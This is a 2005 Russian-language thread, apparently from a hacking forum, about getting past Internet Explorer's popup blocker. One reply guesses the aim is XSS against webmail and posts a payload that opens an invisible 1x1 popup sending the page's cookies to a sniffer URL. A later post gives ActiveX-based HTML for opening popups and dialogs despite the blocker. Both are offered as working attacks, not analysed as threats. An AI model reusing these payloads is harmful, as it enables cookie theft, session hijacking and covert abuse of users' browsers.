Pop-up окна в IE

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by Майор, 1 Apr 2005.

  1. Майор

    Майор Active Member

    Joined:
    24 Oct 2004
    Messages:
    558
    Likes Received:
    112
    Reputations:
    146
    Щас существует способ открытия таких в Ie ?
     
  2. KEZ

    KEZ Guest

    Reputations:
    0
    Причем тут программирование?
    HTML... javascript...
    я непомню уже, не делал, но вроде чето типа javascript:popup() в инете есть по любому
     
  3. Майор

    Майор Active Member

    Joined:
    24 Oct 2004
    Messages:
    558
    Likes Received:
    112
    Reputations:
    146
    я знаю как открыть такое окно(window.open), но речь о том как обойти блокировку в EI
    А к программированию это относиться - потому что реализуется с помошью javascript
     
  4. Че Гевара

    Че Гевара Elder - Старейшина

    Joined:
    5 Oct 2003
    Messages:
    1,049
    Likes Received:
    29
    Reputations:
    8
    Хмм ... Смею предположить, что это тебе нужно для проведения xss на почтовых веб-фейсах ))
    Попробуй например это (хотя оно заблокируется):
    Code:
    <font color="black" style=background-image:url(JavaScript:window.open('http://antichat.ru/cgi-bin/s.jpg?'+document.cookie,'name_popup','location,width=1,height=1,top=9999,left=9999,scrollbar=0')) size=1>text</font>
    
    Этот пример открывает попап размерами 1*1 вне видимой зоны экраны и загружает урл сниффера + кукисы текущего документа ...


    <оффтопик>
    Система блокирования всплывающих окон работает по принципу блокирования метода open(), связанного с объектом window, если я не ошибаюсь ... А методов обхода я не вижу ...
    Возможная идея - это загрузка файла *.js как картинки в документе ... Возможно, что тогда окно не будет блокировано, т.к. вызывается он через картинку ...
    Это только догадка ...
    </oффтопик>
     
  5. KEZ

    KEZ Guest

    Reputations:
    0
    Если уж они отключены то обойти нельзя...
     
  6. Майор

    Майор Active Member

    Joined:
    24 Oct 2004
    Messages:
    558
    Likes Received:
    112
    Reputations:
    146
    догадка не оправдалась, в картинку такие файлы не грузятся :(
    а в Firefox такие окна блокируюься ?
     
  7. Майор

    Майор Active Member

    Joined:
    24 Oct 2004
    Messages:
    558
    Likes Received:
    112
    Reputations:
    146
    :) откопал в нете, но только в IE

    HTML:
    <html><body onload="setTimeout(' main() ',1000)">
    <object id="x"
    classid="clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A" width="1" height="1" align="middle" border=0 scrollbar=no scrolling=no>
    <PARAM NAME="ActivateApplets" VALUE="1">
    <PARAM NAME="ActivateActiveXControls" VALUE="1">
    </object>
    <SCRIPT>
    function shellscript()
    {
    open("http://www.mail.ru","new_window","toolbar=0,location=0,status=0,menubar=0,scrollbars=0,resizable=0,width=5,height=5,top=1,left=1");
    showModelessDialog("http://www.mail.ru","new_window","dialogWidth=1;dialogHeight=1;scroll=0;dialogTop=0;dialogLeft=900;dialogHide=0;help=0;status=0;resizable=0");
    }
    function main()
    {
    x.DOM.Script.execScript(shellscript.toString());
    x.DOM.Script.setTimeout("shellscript()");
    }
    </SCRIPT></html>
    
    
     
  8. Че Гевара

    Че Гевара Elder - Старейшина

    Joined:
    5 Oct 2003
    Messages:
    1,049
    Likes Received:
    29
    Reputations:
    8
    Осёл скорее ActiveX заблокирует ИМХО =))